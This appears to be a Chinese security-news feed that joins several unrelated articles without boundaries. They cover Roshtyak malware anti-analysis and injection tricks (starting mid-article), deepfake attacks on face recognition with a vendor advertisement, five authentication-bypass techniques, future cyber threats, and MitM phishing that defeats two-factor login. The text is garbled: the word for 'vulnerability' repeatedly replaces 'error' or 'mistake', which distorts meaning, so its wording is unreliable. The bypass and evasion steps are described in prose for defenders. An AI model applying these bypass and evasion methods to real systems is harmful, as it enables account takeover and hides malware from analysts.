Roshtyak是故意撞車的。這與終止自身俱有相同的效果,但由於Roshtyak的混淆特性,可能無法立即清楚崩潰是有意的還是因為一個漏洞。

惡意軟件故意進入無限循環。由於循環本身位於混淆代碼中並且跨越數千條指令,因此可能很難確定循環是否在為攻擊做準備。

最有趣的情況是惡意軟件通過解包和加載虛假有效負載來繞過成功檢查,這發生在第八層,它加載了幾十個反分析檢查。每個檢查的結果都用於修改全局變量的值。在第8 層的數據段加密了兩個有效載荷。真正的第9 層和偽造的有效載荷,只有在執行所有檢查後,全局變量與預期值匹配時,才會解密真正的第九層。如果檢測到分析環境,則全局變量的值將與預期值不同,從而導致Roshtyak 解包並執行虛假有效負載。

2.png

Roshtyak 的混淆導致即使是相對簡單的函數也變得很大。如果想在合理的時間範圍內對其進行逆向工程,就需要一些自定義的反混淆工具。

虛假有效載荷是一個BroAssist(又名BrowserAssistant)廣告軟件示例。我們認為,這個虛假的有效載荷旨在誤導惡意軟件分析師認為該示例沒有實際情況那麼有趣。當逆向工程師專注於快速解包示例時,整個示例可能看起來“只是”一個混淆的廣告軟件(而且是一個非常古老的廣告軟件),這可能會導致分析師對深入挖掘失去興趣。事實證明,這些虛假的有效載荷惡作劇可能非常有效。從下面的屏幕截圖中可以看出,它欺騙了至少一名研究人員,該研究人員漏洞地將Raspberry Robin 蠕蟲歸因於虛假的BrowserAssistant 有效載荷。

3.png

這表明,鑑於Roshtyak 的設計和復雜性,犯這樣的漏洞是多麼容易。

複雜的混淆技巧現在讓我們直接詳細介紹Roshtyak 採用的一些有趣的規避技巧。

段寄存器在執行的早期,Roshtyak 更喜歡使用不需要調用任何導入函數的檢查。如果其中一項檢查成功,則示例可以安靜地退出,而不會生成任何可疑的API 調用。下面是Roshtyak 檢查gs 段寄存器行為的示例。該檢查被設計為隱形的,周圍的垃圾指令使其容易被忽視。

4.png

只有帶下劃線的指令是有用的

此檢查背後的第一個想法是檢測單個執行。在上面的代碼片段之前,cx 的值被初始化為2。在彈出ecx指令之後,Roshtyak檢查cx是否仍然等於2。這將是預期的行為,因為該值應該在正常情況下通過堆棧和gs 寄存器傳播。但是,單個事件會重置gs 選擇器的值,這會導致最後彈出一個不同的值到ecx 中。

但這項檢查還有更多內容。作為上述兩個push/pop 對的副作用,gs 的值暫時更改為2。在此檢查之後,Roshtyak 進入一個循環,計算迭代次數,直到gs 的值不再是2。 gs 選擇器在線程上下文切換後也會被重置,因此循環本質上是計算迭代次數,直到發生上下文切換。 Roshtyak 多次重複此過程,求出結果的平均值,並檢查它是否屬於裸機執行環境的合理範圍。如果示例在虛擬機管理程序或模擬器中運行,則平均迭代次數可能會超出此範圍,這使Roshtyak 能夠檢測到不需要的執行環境。

Roshtyak 還檢查cs 段寄存器的值是0x1b 還是0x23。此時,0x1b 是在原生x86 Windows 上運行時的預期值,而0x23 是在WoW64 中運行時的預期值。

通過隨機ntdll gadget注入APCRoshtyak從獨立的進程中執行一些功能。例如,當它與它的CC服務器通信時,它會生成一個新的看似無害的進程,如regsvr32.exe。通過使用共享段,它將通信模塊注入到新進程的地址空間中。被注入的模塊通過APC注入執行,使用的是NtQueueApcThreadEx。

有趣的是,ApcRoutine 參數(標記要安排執行的目標例程)並不指向注入模塊的入口點。相反,它指向ntdll 中看似隨機的地址。仔細一看,我們發現這個地址不是隨機選擇的,而是Roshtyak 掃描了ntdll 的代碼段來查找pop r32;retgadget(不包括pop,因為旋轉堆棧是不可取的),並隨機選擇一個作為ApcRoutine。

5.png

隨機彈出r32; ret gadget 用作APC 注入的入口點

查看ApcRoutine 的調用約定可以理解發生了什麼。 pop 指令使堆棧指針指向NtQueueApcThreadEx 的SystemArgument1 參數,因此ret 指令有效地跳轉到SystemArgument1 指向的任何位置。這意味著通過濫用這個gadget,Roshtyak 可以將SystemArgument1 作為APC 注入的入口點。這混淆了控制流並使NtQueueApcThreadEx 調用看起來更合法。如果有人掛鉤此函數並檢查ApcRoutine 參數,它指向ntdll 代碼段的事實可能足以讓他們相信該調用不是惡意的。

檢查組合寫入內存的讀/寫性能在接下來的檢查中,Roshtyak 分配一個帶有PAGE_WRITECOMBINE 標誌的大內存緩衝區。該標誌應該修改緩存行為以優化順序寫入性能,不過這是以讀取性能和可能的內存排序為代價的。 Roshtyak 使用它來檢測它是否在物理設備上運行。它進行了一項實驗,首先寫入分配的緩衝區,然後從分配的緩衝區中讀取,同時使用一個單獨的線程作為計數器來測量讀寫性能。該實驗重複32 次,只有在大多數情況下寫性能至少是讀性能的6倍時,才會通過檢查。如果檢查失敗,Roshtyak就會故意選擇漏洞的RC4密鑰,從而導致無法正確地解密下一層。

隱藏shellcode有趣的是,注入的shellcode 也被隱藏了。當Roshtyak 準備代碼注入時,它首先創建一個大段並將其作為PAGE_READWRITE 映射到當前進程中。然後,它用隨機數據填充該段,並將shellcode 放置在隨機數據內的隨機偏移處。由於shellcode 只是一個相對較小的加載器,後面跟著看起來是隨機的打包數據,所以整個段看起來像隨機數據。

6.png

共享區段內字節的直方圖。注意,它看起來幾乎是隨機的,最可疑的符號是空字節的輕微過度表示。

然後該段從當前進程中取消映射,並映射到目標進程中,在目標進程中使用上述APC 注入技巧執行該段。添加隨機數據是為了隱藏shellcode 的存在。僅從目標進程的內存轉儲來看,該段可能看起來充滿了隨機數據並且不包含任何有效的可執行代碼。即使有人懷疑該段中間某處的實際有效代碼,也不容易找到它的確切位置。

7.png

共享段中shellcode 的開始。可能很難確定確切的起始地址,因為它通常是從奇數bt指令開始的。

Ret2Kernel32Roshtyak特別注意清理自己的攻擊痕跡。每當不再需要某個字符串或某段內存時,Roshtyak 就會清除或釋放它,以試圖清除盡可能多的證據。 Roshtyak 的圖層也是如此。每當一層完成其工作時,它就會在將執行傳遞到下一層之前進行自我釋放。但是,該層不能簡單直接地自我釋放。如果它在當前正在執行的內存區域上調用VirtualFree,整個進程將會崩潰。

因此,Roshtyak 通過在層轉換期間執行的ROP 鏈來釋放層以避免此問題。當一個層即將退出時,它會在堆棧上構造一個ROP 鏈並返回其中。下面可以看到這樣一個ROP 鏈的示例。該鏈首先返回VirtualFree 和UnmapViewOfFile 以釋放上一層的內存。然後,它返回到下一層。下一層的返回地址設置為RtlExitUserThread,以保障執行安全。

8.png

一個簡單的ROP 鏈,由VirtualFree - UnmapViewOfFile - next layer - RtlExitUserThread 組成。

MulDiv漏洞MulDiv是一個由kernel32.dll導出的函數,它接受三個32位有符號整數作為參數。它將前兩個參數相乘,將乘法結果除以第三個參數,並返回最後的結果四捨五入到最接近的整數。雖然這可能看起來是一個足夠簡單的函數,但在微軟的實現中有一個古老的符號擴展漏洞。這個漏洞現在被認為是一個功能,可能永遠不會被修復。

Roshtyak 知道該漏洞並通過調用MulDiv(1,0x80000000,0x80000000) 來測試它的存在。在真實的Windows 設備上,這會觸發漏洞並且MulDiv 漏洞地返回2,即使正確的返回值應該是1,因為(1 * -2147483648)/-2147483648=1。這允許Roshtyak 檢測不復制漏洞的模擬器.例如,這成功檢測到Wine,有趣的是,它包含一個不同的漏洞,這使得上述調用返回0。

篡改存儲在堆棧中的返回地址還有一些用來混淆函數調用的技巧。如上一節所示,Roshtyak喜歡使用ret指令調用函數。下一個技巧與此類似,因為它也操作堆棧,因此可以使用ret 指令跳轉到所需的地址。

為了實現這一點,Roshtyak 掃描當前線程的堆棧,尋找指向前一層代碼段的指針,與其他層不同,這一層沒有使用ROP 鏈技巧釋放。它用它想要調用的地址替換所有這些指針。然後它讓代碼多次返回,直到ret 指令遇到一個被劫持的指針,將執行重定向到所需的地址。

近日人臉識別防護問題已成焦點,嘉峪關網警、大連市銀行協會發布信息,稱市民A先生與不法分子視頻通話期間手機被犯罪分子控制,未接收到驗證碼,通話後手機收到消息提示,銀行定期存款已被銷戶,銀行人臉識別系統未發揮效果,資金已被轉出。經偵查後發現,犯罪分子事先獲取了A先生的身份證影像信息,並通過技術手段合成了短視頻,使用該視頻成功應對了銀行大額資金轉賬時的人臉識別驗證。

目前人臉識別防護技術存在明確的安全隱患,人臉信息發生洩露的風險主要存在於收集、存儲、使用、加工、傳輸,其中使用、加工、傳輸需要金融機構等廠商提高重視度,收集、存儲環境也需消費者提高警惕心。消費者不應隨意同陌生人的視頻聊天、下載來源不明的App、隨意參與App內的錄製視頻/聲音活動,北京互聯網法院綜合審判三庭副庭長曾表示“一些營銷短視頻、音頻的商家經常在未經當事人許可和同意的情況下進行換臉、換聲操作,以此獲利”,降低人臉信息的收集、存儲環節的安全隱患。消費者應保護好銀行卡號、密碼、身份證等個人信息;人臉、指紋等個人生物信息,發現可疑行為及時報警。

個人生物信息一旦洩露便後患無窮,尤其是人臉信息,上述案例中的收集人臉信息、通過技術手段攻擊人臉識別防護系統,攻破後進行盜取轉移資金等違法行為的犯罪鏈已較為成熟。通過AI技術攻擊人臉識別防護系統的手段可分為深度偽造攻擊與對抗樣本攻擊。深度偽造攻擊是將一個人的面部表情移植到另一個人照片的面部,從而讓被移植人照片活化起來;對抗樣本攻擊是在人臉照片上添加難以察覺的微小擾動使人臉識別系統誤判。本次案例中,不法分子極可能是利用視頻通話採集受害者人臉信息並基於深度偽造攻擊手法騙過銀行的人臉識別防護系統,竊取用戶存款,此類案件層出不窮。

不法分子的攻擊目標早已不局限於金融系統,政務系統也是重點攻擊目標之一,根據天津網信辦報導,不法分子獲取公民身份信息和人臉照片後,利用AI技術破解相關政務APP的“人臉識別”認證,在當事人毫不知情的情況下,幾分鐘就能利用他人信息註冊公司。

針對人臉識別防護系統的攻擊與防禦,是一場雙方都在不斷升級的攻防對抗,目前針對人臉識別防護系統的攻擊手段已經過多次進化。多數人臉識別算法廠商聚焦於人臉特徵提取、人臉差異,對深度偽造攻擊、對抗樣本攻擊及針對應用的攻擊的防護能力極為有限,為此業內新增了三類檢測功能,但均有一定局限性。

1、增強活體檢測模塊,以識別對抗眼鏡及表情操縱攻擊此種防禦方式對於屏幕重放攻擊有一定的防禦效果,但是若採用攝像頭繞過方式即可繞過,對於安全加密強度不夠的APP,採用公開手機模擬器即可繞過攝像頭,直接將準備好的偽造圖像傳輸給後台人臉比對算法。

2、增強人臉特徵比對算法,存在異常即攔截該方法本質上是提升了比對算法的閾值,在提升自身安全性的同時,也降低了對於用戶的友好體驗,往往要進行反复拍照、核驗才能通過比對,並不能從根本上解決人臉偽造的攻擊方式。

3、增加臉部異常結構的識別該方式,旨在防範對抗眼鏡樣本的攻擊方式,但對抗樣本的攻擊方式千變萬化,可以是眼鏡形式外的任何形式,此方法並不能解決對抗樣本本身帶來的攻擊危害。

此外攻擊者還可以通過注入應用、破壞系統內核及利用接口防護不當與設計缺陷嘗試繞過人臉識別防護系統的活體檢測環節。

1、注入應用繞過人臉識別防護系統活體檢測攻擊者通過注入應用的方式來篡改程序,繞過活體檢測,使用一張靜態照片就可以通過人臉識別。還可以通過查看當前APP的數據結構,修改參數來篡改活體檢測完成後的圖片,從而達到活體檢測由任意一個人完成都可以通過的效果,這樣只需要拿著被攻擊者的照片來通過靜態人臉識別,然後其他人眨眼抬頭來破解活體檢測。

2、破壞系統內核繞過人臉識別防護系統活體檢測通過修改Android系統源代碼,在底層直接修改並返回相關函數的調用結果。劫持攝像頭,指定視頻存放位置,在活體檢測後替換人臉識別圖片、視頻,繞過活體檢測。

3、利用接口防護不當和各種設計缺陷部分APP在使用上傳人臉圖像時,沒有對圖像數據進行簽名,導致圖片可以被工具截獲然後篡改,而有的則是在數據報文沒有加入時間戳,可以通過重放數據報文的方式來實施破解。有些人臉識別的成功與否,是通過返回報文中的一個閾值來決定的,相當於考試中的“及格分數”,如果人臉匹配度超過該閾值就可以通過,不幸的是,部分APP沒有對這個返回報文加簽名,導致該報文可以被篡改,最終通過調低該閾值的方式破解了它的人臉識別防護系統。人臉識別技術正面臨著日益嚴峻的新型攻擊威脅和重大財產損失的風險,想提高安全性須採用成體係可應對上述各類攻擊手段的人臉識別安全方案。為加強安全防護能力,愛加密推出了“查、打、防”三位一體的人工智能安全體系、愛加密人臉安全綜合防護系統,從人工智能應用的生命週期進行檢測,治療和預防。

image.png

愛加密人臉安全綜合防護系統可全面加固任意人臉識別系統。通過集成終端風險感知、業務端實時偽造檢測、運營風險挖掘三大類功能,實現在人臉核身、在線視頻等典型場景中有效抵禦對抗樣本攻擊、深度偽造攻擊等新型安全風險,大幅提升人臉識別系統的安全性。

image.png

愛加密將持續關注人臉識別防護安全,在此呼籲各大機構提高對人臉信息的重視度,加強對個人隱私信息的保護力度,提升人臉識別防護系統的安全性。愛加密通過十餘年技術積累和豐富的行業服務經驗研發,助力人臉識別防護系統的安全運營,未來將繼續憑藉自身技術優勢、業務資質優勢、產品方案優勢等,守護互聯世界。

身份驗證繞過漏洞是現代web應用程序中普遍存在的漏洞,也是隱藏最深很難被發現的漏洞。

為此安全防護人員不斷在開發新的認證方法,保障組織的網絡安全。儘管單點登錄(SSO)等工具通常是對舊的登錄用戶方式的改進,但這些技術仍然可能包含嚴重的漏洞。無論是業務邏輯錯誤還是其他軟件漏洞,都需要專業人員來分析其中的複雜性。

我們將在本文中介紹五種真實的身份驗證繞過技術。

技術1——刷新令牌終端配置錯誤在這種情況下,一旦用戶使用有效憑證登錄到應用程序,它就會創建一個在應用程序其他地方使用的承載身份驗證令牌。該認證令牌在一段時間後過期。就在過期之前,應用程序在終端/refresh/tokenlogin中向後端服務器發送了一個請求,該請求在標頭和HTTP主體部分的用戶名參數中包含有效的身份驗證令牌。

進一步的測試表明,刪除請求上的Authorization標頭並更改HTTP主體上的用戶名參數將為提供的用戶名創建一個新的有效令牌。利用此漏洞,擁有匿名配置文件的攻擊者可以通過提供用戶名為任何用戶生成身份驗證令牌。

1.png

技術2 ——SSO配置不正確大多數應用程序都使用SSO系統,因為與處理許多身份驗證門戶相比,SSO系統更容易安全管理。但是簡單地使用SSO並不能自動保護系統,因為SSO的配置也應得到保護。

現在,一個應用程序使用Microsoft SSO系統進行身份驗證。當訪問internal.redacted.com URL時,web瀏覽器會重定向到單點登錄系統:

2.png

乍一看,它似乎是安全的,但對後端請求的分析顯示,應用程序在重定向響應上返回了異常大的內容長度(超過40000字節)

3.png

為什麼應用程序要這樣做呢?當然是配置錯誤。在將用戶發送到SSO的重定向時,應用程序向每個請求洩露了其內部響應。因此,可以篡改響應,將302 Found頭更改為200 OK,並刪除整個Location標頭,從而獲得對整個應用程序的訪問。

4.png

此外,可以通過在Burp Suite中添加Match Replace規則來自動刪除標題並自動更改值,從而實現這個過程的自動化。

5.png

技術3——基於CMS的訪問漏洞內容管理系統(CMS),如WordPress、Drupal和Hubspot也需要進行安全配置,以免它們在使用中中引入漏洞。

在發現的一個示例中,在一個內部應用程序中使用了一個流行的CMS平台Liferay。該應用程序只有一個不需要身份驗證就可以訪問的登錄頁面,所有其他頁面都在應用程序UI中受到限制。

對於那些不熟悉Liferay的人來說,CMS為應用程序工作流使用了portlet,它的參數是數字中的p_p_id。對於該應用程序,可以通過將參數值更改為58來訪問登錄portlet。在正常的登錄頁面中,只有登錄表單是可訪問的。然而,通過直接訪問portlet,可以達到Create Account功能,然後在不需要適當的授權情況下就可以進行自註冊並訪問內部應用程序。

6.png

請注意,雖然Liferay以前使用過這個工作流,但它的最新版本使用了portlet名稱而不是數字ID。不過,也可以通過更改名稱來訪問其他portlet。

技術4 ——JWT令牌的使用JWT令牌或JSON web令牌,在新的web應用程序中很流行。但是,雖然它們默認具有安全機制,但後端服務器配置也應該是安全的。

我的一項任務是在他們的內部應用程序中使用SSO身份驗證。當直接訪問時,應用程序將用戶重定向到Microsoft SSO web頁面。到目前為止,一切順利。

然而,一些JS文件不需要身份驗證就可以訪問。測試顯示,該應用程序使用了安全登錄後通過Microsoft SSO系統發送的JWT令牌。在後端機制上,存在一個安全錯誤配置,即不檢查是否為特定的應用程序生成了JWT令牌。相反,它接受任何具有有效簽名的JWT令牌。因此,使用來自微軟網站的JWT令牌示例如下:

7.jpg

在通用值內:

8.jpg

有可能訪問內部終端,洩露公司數據。

9.png

技術5——將身份驗證類型更改為Null在此情況中,應用程序通過base64 編碼的XML 請求向HTTP 發布數據上發送所有請求。在登錄機制上,它將用戶名作為參數別名發送,將密碼作為scode發送。 scode 參數內的值已進行哈希處理。分析顯示,它使用了所提供密碼值的md5 值。請求中還有另一個有趣的標誌:scode 有一個屬性,其類型值為2。

10.png

我嘗試將該值賦值為1,它將接受明文密碼。成功了!因此,在明文值中使用暴力攻擊中是可能的。沒什麼大不了的,但這標誌著我走對了路。把它賦值給空值怎麼樣?或者其他值,如-1、0或9999999999?大多數都返回了除0之外的錯誤代碼。我用屬性0做了幾次嘗試,但沒有成功,直到我將密碼值作為空值發送出去。

11.png

我意識到只需提供用戶名和密碼即可訪問任何帳戶。事實證明,這是一個很大的錯誤。

總結複雜的身份驗證機制可能成為攻擊者使用的最具隱蔽性的攻擊手段,特別是在容易出現業務邏輯漏洞的應用程序上。因為自動掃描器大多無法進入這類漏洞,所以仍然需要手工來找到它們。鑑於現代軟件環境的複雜性,沒有任何一個安全研究人員能夠發現所有可能的漏洞或攻擊載體。

雖然互聯網無疑帶來了新的好處,但也帶來了新的問題,因為網絡犯罪分子看到我們越來越依賴網絡連接後企圖大做文章。

網絡釣魚郵件、惡意軟件及勒索軟件攻擊,或竊取銀行資料、密碼及其他個人信息,互聯網為惡意黑客提供了眾多新的途徑來撈錢財、搞破壞。比如,只要看看關鍵基礎設施、學校和醫院如何受到了網絡攻擊的影響。

我們尚未完全保護網絡免受如今的互聯網威脅,不過技術已經在邁進,帶來了我們必須防備的新威脅。

量子計算:密碼破解和貨幣挖掘量子計算是最重大的技術突破之一,它有望能夠快速解決經典計算機無力處理的複雜問題。

這一進步將給科研和社會帶來好處的同時,也會帶來新的挑戰。最值得注意的是,功能強大的量子計算可以快速破解數十年來我們用來保護眾多方面的加密算法,包括網上銀行、安全通信和數字簽名。

目前,量子計算成本高昂,開發量子計算所需的專業知識僅限於大型科技公司、研究機構和政府。但就像任何創新技術一樣,量子計算最終會變得更商業化、更普及,網絡犯罪分子會企圖利用量子技術。

思科Talos的安全研究技術負責人Martin Lee表示,屆時量子計算能夠破解當前的加密算法。 20年前完全合適的加密密鑰長度再也不合適了。

美國網絡安全和基礎設施安全局(CISA)此前警告,現在須採取行動,幫助保護網絡免受借助量子計算的網絡攻擊,尤其是那些支持關鍵國家基礎設施的網絡。

不過,雖然借助量子計算的破壞性網絡攻擊是未來的一大網絡安全威脅,但量子計算機本身可能會成為黑客的誘人目標。

不妨以挖掘加密貨幣的惡意軟件為例。攻擊者將這種惡意軟件安裝在計算機和服務器上,悄然利用他人網絡的資源來挖掘加密貨幣,從中牟利,這一切無需為消耗的資源或算力付費。

比特幣等加密貨幣是由計算機通過解決複雜的數學問題生成的,這類數學問題用量子計算機網絡來解決比較容易。這意味著,如果網絡犯罪分子能夠在量子計算機上植入挖掘加密貨幣的惡意軟件,一下子就能暴富,自己幾乎不需要花一分錢。

趨勢科技的高級防病毒研究員David Sancho表示,只要感染一台量子計算機,就可以開始計算非常複雜的算法。

如果你在量子計算機上有一個加密貨幣礦工軟件,將極大地提高挖礦能力,這成為網絡攻擊的目標,很容易做出這樣的預測。

利用人工智能和機器學習但量子計算不是網絡犯罪分子企圖利用的唯一新興技術,預計他們還會利用人工智能和機器學習方面的進展。

與量子計算一樣,人工智能和機器學習將推動眾多領域的創新,包括機器人及無人駕駛汽車、語音及語言識別以及醫療保健等。

能適應和學習的人工智能可用於正道,但最終一旦人工智能變得更普遍,網絡犯罪分子早晚會利用它幫助提高網絡攻擊的成效。

WithSecure的首席研究官Mikko Hyppönen表示,我們開始看到惡意軟件活動、勒索軟件活動和網絡釣魚活動完全由機器學習框架自動化運作。

利用這項技術的一種手段是,編寫基於文本的生成算法來發送和回復常見的垃圾郵件或商業電子郵件入侵(BEC)活動。

犯罪分子可以依靠一種算法來分析哪些響應最有可能是值得回复的真正受害者,而不是仍然不為所動的人,或者將惡作劇回復發回給垃圾郵件發送者的人,而不是需要人花時間來撰寫和回复郵件。這種現狀意味著你到頭來被機器人程序欺騙。

網絡犯罪分子還可能利用機器學習方面的進展,開發自編程的智能惡意軟件,而不是需要開發人員來支持它,這種惡意軟件可以通過自動應對遇到的網絡防禦來更新自己,從而最大限度地發揮成效。

Hyppönen表示,可以想像,當自編程程序變得功能比現在更強大時,可以完成人類創建的功能,這聽起來很好,但如果換成勒索軟件,情況就不容樂觀了。

勒索軟件可能改變代碼,變得更難理解,而且每次都不一樣,它可能嘗試創建檢測不到的版本。這一切在技術上是可行的,這一幕早晚會出現。

深度偽造但是人工智能被用來構成網絡威脅不僅僅是互聯網的未來問題,如今已經在上演:深度學習被用來支持深度偽造(deepfake),這種視頻看起來像是真實的人或活動,但實際上是假的。

深度偽造被用於政治虛假信息宣傳活動和惡作劇以愚弄政客,它們已經被用於增強BEC及其他欺詐攻擊,網絡犯罪分子使用深度偽造音頻,說服員工授權向攻擊者擁有的賬戶轉移大額資金。

Fortalice Solutions首席執行官兼白宮前首席信息官Theresa Payton表示,深度偽造視頻將用於實施犯罪活動。不僅僅用於操縱,還用於宣傳虛假信息和錯誤信息。

以面向公眾的CEO們為例。他們上電視,發表演講,網上有他們的視頻,比較容易找到他們聲音的錄音,騙子者已經可以通過深度偽造技術利用這些資源模仿他們的聲音。

畢竟,如果員工接到公司負責人的電話,告訴他們做某事,他們很可能會照辦,實施這類攻擊的網絡犯罪分子對此心知肚明。

已有這樣的先例:深度偽造音頻被用來成功地說服某人將資金轉移到不該轉移的地方。隨著深度偽造背後的技術不斷改進,這意味著辨別真假的難度只會越來越大。而越來越讓人擔心的是,我們缺乏真正打擊這種活動的能力。

受感染的物聯網說到互聯網的未來,深度偽造不是網絡威脅可能影響我們日常生活的唯一領域。智能物聯網設備日益成為我們日常生活中的一部分,各種傳感器、電器、可穿戴設備及其他聯網產品出現在家庭、辦公室和工廠等場所。

雖然將物聯網設備連接到家庭和工作場所網絡有一定的優點,但聯網程度提高也為網絡犯罪分子伺機作案提供了更大的攻擊面。

如果為日常設備添加功能和連接,它們變得容易被攻擊。原本不容易被攻擊的設備變得容易被攻擊。不存在安全的計算機,也不存在無法攻破的設備。這是當下發生的一幕,無法阻止,而且會越來越隱蔽。

想想家用電器:它們越來越有可能變得“智能”、聯網。從電視到牙刷,任何東西現在都可以聯網。但對於家電製造商來說,製造聯網設備是比較新的現象,以前許多設備不需要考慮網絡安全威脅。一些廠商甚至可能在設計過程中根本沒考慮到這一點,因而產品容易受到黑客攻擊。

雖然黑客攻擊咖啡機或魚缸聽起來並不令人擔憂,但這類設備是網絡上的節點,一旦被訪問,可以作為跳板,進而攻擊更重要的設備和敏感數據。

雖然物聯網安全有望逐漸改進,但還有另一個問題要考慮。已經有成千上萬缺乏安全的物聯網設備,這些設備甚至可能無法打上安全補丁。

想想幾年後多少智能手機無法接收安全補丁。再想一想迅猛發展的物聯網,如果冰箱或汽車設備可能繼續使用數十年,將會發生什麼?

沒有哪家軟件開發商會支持20年前編寫的軟件。如果廠商不再支持其設備的更新,就應該開放源代碼,以便別人支持更新。

聯網設備已經在整個社會無處不在,整個智慧城市將成為常態。但如果網絡安全和合規不是推動這個趨勢的關鍵力量,可能會給每個人帶來負面影響。

如果你不解決這些問題,將會以前所未有的速度遭到規模空前的攻擊。這確實令人不安。勒索軟件攻擊早晚會劫持智慧城市。智慧城市將成為目標,我們會遇到某種程度的持續性破壞。

網絡安全界上演軍備競賽儘管潛在威脅初露端倪,但業界人士對互聯網未來還是抱以樂觀態度。雖說網絡犯罪分子會使用新技術來幫助改進攻擊水平,但負責保護網絡的人士也會運用同樣的技術幫助防止攻擊。

我們的這種能力越來越強:為惡意行為建立模型,然後使用人工智能、大數據、分析及不同類型的機器學習算法,繼續改進技術。

現在無法阻止一切,因為網絡犯罪分子總是在調整策略,但業界確實能夠阻止更多的低中級類別的威脅。網絡安全在改善,即使新技術即將出現,這並不意味著網絡犯罪分子及其他惡意黑客會輕鬆得逞。

如果比較今天和十年前的計算機安全,就會發現我們在安全方面變得越來越好,攻擊者趁虛而入變得越來越難。

互聯網未來的穩定性取決於今後依然是這樣子。

我們可能或多或少都知道一些如何避免網絡釣魚的方法,比如注意拼寫錯誤或其他會提醒我們詐騙者存在的錯誤。然而,這個建議只對傳統的網絡釣魚技術有幫助。中間人(MitM)網絡釣魚攻擊則表明攻擊者可以繞過傳統防禦。

MitM網絡釣魚攻擊是一種最先進的網絡釣魚攻擊類型,能夠攻擊雙因素身份驗證(2FA),同時避免許多基於內容的網絡釣魚檢測引擎。 MitM攻擊不是顯示目標登錄頁面的欺騙版本,而是使用反向代理服務器將原始登錄頁面直接中繼到用戶的瀏覽器。

截至2022年11月,多起網絡釣魚攻擊使用MitM策略來攻擊商業電子郵件帳戶,並成功竊取組織的機密信息。有幾個流行的MitM網絡釣魚工具包,讓黑客只需點擊幾下即可輕鬆發起他們自己的MitM釣魚攻擊。

這些工具包不斷擴展其功能集,同時變得更加直觀和易於使用。許多人已經採用了複雜的偽裝技術,使他們能夠逃避傳統網絡釣魚檢測系統的檢測。因此,我們預計這些MitM網絡釣魚攻擊的流行率將在不久的將來繼續上升。

你可以通過高級URL過濾實時阻止MitM釣魚頁面,從而免受本文中討論的攻擊。

傳統的網絡釣魚攻擊釣魚攻擊的目的是建立一個虛假的登錄頁面,誘使用戶輸入登錄憑證。

在傳統的網絡釣魚攻擊中,攻擊者通常會創建自己的網絡釣魚頁面來模仿合法的登錄頁面。他們可能會將其託管在新創建的域上,破壞合法域並將其網絡釣魚頁面託管在該域上,或者使用現有的SaaS平台託管其網絡釣魚內容。

“網絡釣魚工具包”簡化了創建和部署網絡釣魚攻擊的過程,提供了一套標準程序或腳本,這樣即使是沒有經驗的攻擊者也可以發起自己的網絡釣魚攻擊。這些工具通常使用模板化的網頁,模仿目標公司的實際登錄頁面。基於web的網絡釣魚即服務(PhaaS)平台的攻擊服務則更進一步,如Caffeine(如圖1所示)和Robin Banks,通過提供易於使用的界面,允許攻擊者配置和部署網絡釣魚攻擊。

1.png

網絡釣魚即服務(PhaaS)平台Caffeine的主頁於2022年10月首次公佈

在傳統的網絡釣魚攻擊中,網絡釣魚頁面通常直接託管在惡意或受損的服務器上,且不一定是合法登錄頁面的完美副本。例如,如果攻擊者要創建一個模仿GitHub登錄的網絡釣魚頁面,他們可能不想重新創建圍繞核心登錄功能的所有其他功能,例如“忘記我的密碼”鏈接。

專家或細心的觀察者可能會注意到合法的GitHub登錄頁面和欺騙的釣魚頁面之間的細微差異,並意識到欺騙的頁面是非法的。下圖顯示了釣魚頁面與原始目標登錄頁面的不同之處。

類似地,基於內容的自動網絡釣魚預防引擎可能會注意到這些非法登錄頁麵包含可疑內容的跡象(例如斷開的鏈接或拼寫錯誤),並將其標記為可能的網絡釣魚網站。

2.png

左圖:網絡釣魚攻擊中使用的假冒Microsoft登錄頁面示例,右圖:截至2022年11月21日的原始Microsoft登錄頁面

即使有這些缺陷,這些網絡釣魚活動中的收件人數量之多意味著一些目標仍然可能成為這些攻擊的受害者。雙因素身份驗證(2FA),也稱為多因素身份驗證,已成為一種日益流行的添加額外安全層以防止成功的網絡釣魚攻擊的方式。

雙因素身份驗證實際應用的一個例子是,除了要求用戶名和密碼外,合法的登錄網站還要求額外的身份驗證形式,例如發送到用戶註冊電子郵件地址的一次性密碼(OTP)。即使攻擊者通過成功的釣魚攻擊獲得了受害者的用戶名和密碼,他們也無法以該用戶身份登錄,因為他們無法檢索在惡意登錄嘗試期間發送的OTP。

MitM網絡釣魚攻擊MitM網絡釣魚攻擊是一種繞過基於內容的防禦和雙因素身份驗證的新型網絡釣魚攻擊。與傳統的網絡釣魚攻擊不同,MitM攻擊顯示的是合法登錄頁面的獨立但虛假的版本,它向用戶顯示的內容與他們在合法登錄頁面上看到的內容完全相同。 MitM服務器沒有託管合法登錄頁面的副本,而是簡單地獲取合法站點上呈現的內容並將其轉發給最終用戶,如下圖所示。

換句話說,MitM服務器充當目標和合法登錄頁面之間的代理。當目標將其憑據輸入到代理頁面時,MitM服務器將憑據存儲起來,並將其轉發到合法的登錄頁面,從而成功登錄。從受害者的角度來看,一切看起來就像他們登錄到了合法頁面。

此外,這兩個連接(MitM服務器到合法站點,受害者到MitM服務器)都是通過HTTPS協議提供的,因此受害者將根據web瀏覽器地址欄中的掛鎖圖標看到連接是“安全的”。

3.png

MitM網絡釣魚攻擊的可視化表示

由於顯示給目標的內容與他們在合法登錄頁面上看到的內容完全相同,這種基於代理的方法使受害者更難從視覺上辨別出可疑的事情正在發生,並且使基於內容的網絡釣魚檢測引擎很難注意到任何可疑的事情。

MitM網絡釣魚攻擊就像通過隱藏得很好的鏡子觀看原畫。 MitM攻擊除了上述好處外,還有其他幾個好處。例如,如果用戶設置了雙因素身份驗證,這種基於代理的方法允許MitM服務器自動繞過這個雙因素身份驗證。 在MitM服務器將用戶名和密碼轉發到合法站點後,合法站點將按照其正常行為向其客戶端發送OTP。如果被欺騙,目標將在MitM網絡釣魚頁面中輸入一次性密碼。這允許MitM服務器將密碼中繼到合法站點,從而完全完成登錄嘗試。

此時,MitM服務器將從合法站點接收一個真實的會話cookie。這種持久的登錄允許受害者繼續正常瀏覽網站(儘管仍然通過攻擊者的web服務器),從而進一步保持網絡釣魚攻擊的合法性。

真實發生的MitM網絡釣魚攻擊在撰寫本文時,黑客可以使用幾個工具輕鬆地部署他們自己的MitM網絡釣魚攻擊。與傳統的釣魚套件類似,這些MitM釣魚套件提供了一組腳本,或者在某些情況下,甚至是圖形用戶界面(GUI),使攻擊者可以輕鬆配置和發起MitM釣魚攻擊。

